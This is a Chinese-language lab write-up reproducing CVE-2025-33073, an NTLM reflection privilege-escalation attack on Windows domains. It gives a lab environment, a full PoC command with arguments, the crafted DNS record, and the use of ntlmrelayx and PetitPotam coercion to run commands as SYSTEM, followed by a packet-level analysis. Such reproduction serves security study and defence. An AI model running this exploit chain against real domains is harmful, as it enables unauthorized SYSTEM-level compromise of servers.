CVE-2025-33073 漏洞复现与分析

87 阅读3分钟

01

免责声明

本实验仅限学术研究,参与者需遵守法律法规,操作过程中产生的任何风险、损失与本人无关。请确保合法合规使用,避免任何违法行为。

CVE-2025-33073

属于NTLM反射攻击, 关于NTLM反射攻击这里就不说了.

  • 类型        |     权限提升
  • 利用条件    |     具有普通权限的域用户
              未启用强中smb签名

复现环境

域:     srrgv.com
DC:     10.10.11.147    dcs.srrgv.com
Server: 10.10.11.148    webs.srrgv.com
kali:   10.10.11.142
域用户:  webs

复现

这里使用POC
网上公开的POC触发强制认证有坑, 自己修改了下.

python3 CVE-2025-33073.py -u 'srrgv\webs' -p 'Wwwxiu12' -d 10.10.11.142 --dns-ip 10.10.11.147 --dc-fqdn dcs.srrgv.com --target webs.srrgv.com --target-ip 10.10.11.148 --custom-command "whoami"    


#-u: 域/域用户<br>
#-p: 密码<br>
#-d: 攻击机kali<br>
#--dns-ip: 域dns<br>
#--dc-fqdn: 域控域名<br>
#--target: 目标域名<br>
#--target-ip: 目标ip<br>
#--custom-command: 要执行的命令

首先向DNS服务器中注册特殊DNS记录( localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA)指向攻击机

屏幕截图 2025-12-13 020628.png

image.png

使用impacket-ntlmrelayx进行监听, PetitPotam触发强制认证, 成功执行命令 image.png


  • 网络包分析

这里通过wireshark抓包分析

image.png 前三个包是标准的NTLM网络验证包, 验证通过后向DNS写入特殊记录, 关注后面几个包
第一个包为NTLM的协商请求消包:NTLM Message Type: NTLMSSP_NEGOTIATE (0x00000001),包中有两个字段Calling workstation domain: NULLCalling workstation name: NULL , 客户端在发起NTLM身份验证时未指定域和工作站名, 服务端将会根据质询包来决策是否进行本地身份验证.

第二个包中为NTLM的质询包:NTLM Message Type: NTLMSSP_CHELLENGE (0x00000002),显示Error消息的包不是错误, 而是要求继续进行下一步的意思, 会检查第一个包ntlmssp.negotiate.domainntlmssp.negotiate.name字段,还会检查客户端IP是否指向自身,来决策是否进行本地协商调用, Reserved: 0000000000000000被设置为0, 正常的NTLM协商认证该字段被保留不使用,非本地协商身份验证是不设置 NTLMSSP_NEGOTIATE_LOCAL_CALL(0x4000) 位, 这里客户端IP非自身IP, 也就是中继转发失败.

image.png 第三个包为NTLM的认证包: NTLM Message Type: NTLMSSP_AUTH (0x00000003), 成功验证身份 srrgv\webs
从第四个包开始中继转发攻击, 将服务器发给攻击者的包中继转发回服务器,在第四个服务器发送的包中出现Calling workstation domain: SRRGVCalling workstation name: WEBS, 同时客户端IP指向自身IP,那么服务器将进行本地协商身份验证 image.png NTLM质询包中 被设置NTLMSSP_NEGOTIATE_LOCAL_CALL(0x4000) 位, 表示进行本地NTLM身份验证, 此时的 Reserved字段就不再是简单的保留字段了。它会包含一个由服务器生成的、唯一的上下文ID image.png 最后两个包就是NTLM的认证响应包了, 服务器在本地验证模式下, 因为客户端和服务端在同一台主机上, 被强制认证的进程为lsass.exe.lsass.exe进程会将其SYSTEM令牌注入到认证上下文中,无需计算密码哈希响应 从而窃取SYSTEM身份令牌.